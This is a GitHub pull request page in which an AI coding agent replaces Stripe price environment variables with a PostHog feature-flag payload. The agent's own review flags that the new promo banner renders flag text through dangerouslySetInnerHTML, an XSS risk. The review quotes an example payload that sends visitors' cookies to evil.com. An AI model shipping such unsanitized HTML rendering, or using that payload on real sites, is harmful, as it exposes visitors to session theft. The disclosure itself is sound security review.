Skip to content

Replace Stripe price env vars with PostHog pricing-config feature flag#3701

Open
devin-ai-integration[bot] wants to merge 1 commit intomainfrom
devin/1770463709-pricing-config-feature-flag
Open

Replace Stripe price env vars with PostHog pricing-config feature flag#3701
devin-ai-integration[bot] wants to merge 1 commit intomainfrom
devin/1770463709-pricing-config-feature-flag

Conversation

@devin-ai-integration
Copy link
Contributor

@devin-ai-integration devin-ai-integration bot commented Feb 7, 2026

Replace Stripe price env vars with PostHog pricing-config flag

Summary

Replaces STRIPE_MONTHLY_PRICE_ID and STRIPE_YEARLY_PRICE_ID env vars (duplicated across apps/api and apps/web) and hardcoded display prices in the pricing page with a single PostHog feature flag (pricing-config) as the source of truth.

What changed:

  • New getPricingConfig() helpers in both apps/api and apps/web that fetch a JSON payload from PostHog's pricing-config feature flag
  • apps/api/routes/billing.ts (/start-trial) reads price IDs from the flag instead of env vars
  • apps/web/functions/billing.ts (createCheckoutSession, createTrialCheckoutSession) reads price IDs from the flag
  • apps/web/routes/_view/pricing.tsx reads display prices client-side via useFeatureFlagPayload with hardcoded fallbacks ($8/$59)
  • Promo banner is now conditionally rendered from flag payload (promo_active, promo_text)
  • Removed STRIPE_MONTHLY_PRICE_ID / STRIPE_YEARLY_PRICE_ID from env schemas in both apps

Prerequisite: The pricing-config feature flag must be created in PostHog with a JSON payload matching the PricingConfig type before deploying this change.

Review & Testing Checklist for Human

  • Create the pricing-config feature flag in PostHog before merging — without it, all billing endpoints (/start-trial, checkout, trial checkout) will throw and fail. The flag payload must match the PricingConfig type shape.
  • Verify dangerouslySetInnerHTML usage in PromoBanner — promo text from PostHog is rendered as raw HTML. Confirm this is acceptable given PostHog is a trusted source, or consider sanitizing.
  • Verify fallback behavior is acceptable — pricing page falls back to hardcoded $8/$59 if flag is unavailable, but server-side billing functions throw errors. This means users could see prices that don't match what checkout charges if the flag is partially down.
  • Test end-to-end: Create the flag in PostHog staging → verify pricing page renders correctly → verify checkout flow works → verify /start-trial from desktop app works

Notes

  • The PricingConfig type is duplicated in apps/api and apps/web rather than shared. Consider extracting to a shared package if this becomes a maintenance burden.
  • Both getPricingConfig() implementations pass empty string as distinct_id, meaning the flag must be configured to return the same payload for all users (no user-specific targeting).

Link to Devin run: https://app.devin.ai/sessions/54d331a032414be599caa8e728dd09d7
Requested by: @yujonglee


Open with Devin

…config feature flag

- Create pricing-config helpers in apps/api and apps/web
- Update pricing.tsx to read display prices from PostHog flag (useFeatureFlagPayload)
- Update billing.ts in both apps to read price IDs from PostHog flag
- Remove STRIPE_MONTHLY_PRICE_ID and STRIPE_YEARLY_PRICE_ID from env definitions
- Promo banner now controlled by flag (promo_active + promo_text)

Co-Authored-By: yujonglee <yujonglee.dev@gmail.com>
@devin-ai-integration
Copy link
Contributor Author

🤖 Devin AI Engineer

I'll be helping with this pull request! Here's what you should know:

✅ I will automatically:

  • Address comments on this PR that start with 'DevinAI' or '@devin'.
  • Look at CI failures and help fix them

Note: I can only respond to comments from users who have write access to this repository.

⚙️ Control Options:

  • Disable automatic comment and CI monitoring

@netlify
Copy link

netlify bot commented Feb 7, 2026

Deploy Preview for hyprnote-storybook ready!

Name Link
🔨 Latest commit c68580d
🔍 Latest deploy log https://app.netlify.com/projects/hyprnote-storybook/deploys/698724c348177a0008347dee
😎 Deploy Preview https://deploy-preview-3701--hyprnote-storybook.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

@netlify
Copy link

netlify bot commented Feb 7, 2026

Deploy Preview for hyprnote ready!

Name Link
🔨 Latest commit c68580d
🔍 Latest deploy log https://app.netlify.com/projects/hyprnote/deploys/698724c321026b0008b0799e
😎 Deploy Preview https://deploy-preview-3701--hyprnote.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

Copy link
Contributor Author

@devin-ai-integration devin-ai-integration bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Devin Review found 1 potential issue.

View 7 additional findings in Devin Review.

Open in Devin Review

version and help with migration —{" "}
<strong>offer ends February 28th</strong>
</span>
<span dangerouslySetInnerHTML={{ __html: text }} />
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 XSS via dangerouslySetInnerHTML with PostHog feature flag payload

The PromoBanner component renders promo_text from the PostHog pricing-config feature flag payload directly as raw HTML using dangerouslySetInnerHTML. Any user with access to modify the PostHog feature flag can inject arbitrary JavaScript that executes in every visitor's browser on the pricing page.

Security impact and recommendation

At apps/web/src/routes/_view/pricing.tsx:143, the promo_text string from PostHog is inserted as raw HTML:

<span dangerouslySetInnerHTML={{ __html: text }} />

While PostHog is an admin-controlled service, this creates an unnecessary stored XSS vector. If the PostHog account is compromised, or a team member with PostHog access acts maliciously, they can set promo_text to something like <img src=x onerror="document.location='https://evil.com/?c='+document.cookie"> which would execute on all pricing page visitors.

The previous TeamPricingBanner used safe, hardcoded JSX content. The promo text is simple marketing copy (e.g., "Early Bird Discount: ...") that could safely use a text-only approach or be sanitized before insertion.

Impact: Arbitrary JavaScript execution in visitors' browsers, enabling cookie theft, session hijacking, or phishing.

Prompt for agents
In apps/web/src/routes/_view/pricing.tsx, replace the dangerouslySetInnerHTML usage in the PromoBanner component (line 143) with safe text rendering. If HTML formatting (like bold tags) is truly needed in promo_text, use a sanitization library such as DOMPurify to strip scripts and event handlers before insertion. For example: import DOMPurify from 'dompurify'; and then use dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(text) }}. Alternatively, if only simple formatting like bold is needed, parse the text and render React elements instead of using innerHTML.
Open in Devin Review

Was this helpful? React with 👍 or 👎 to provide feedback.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant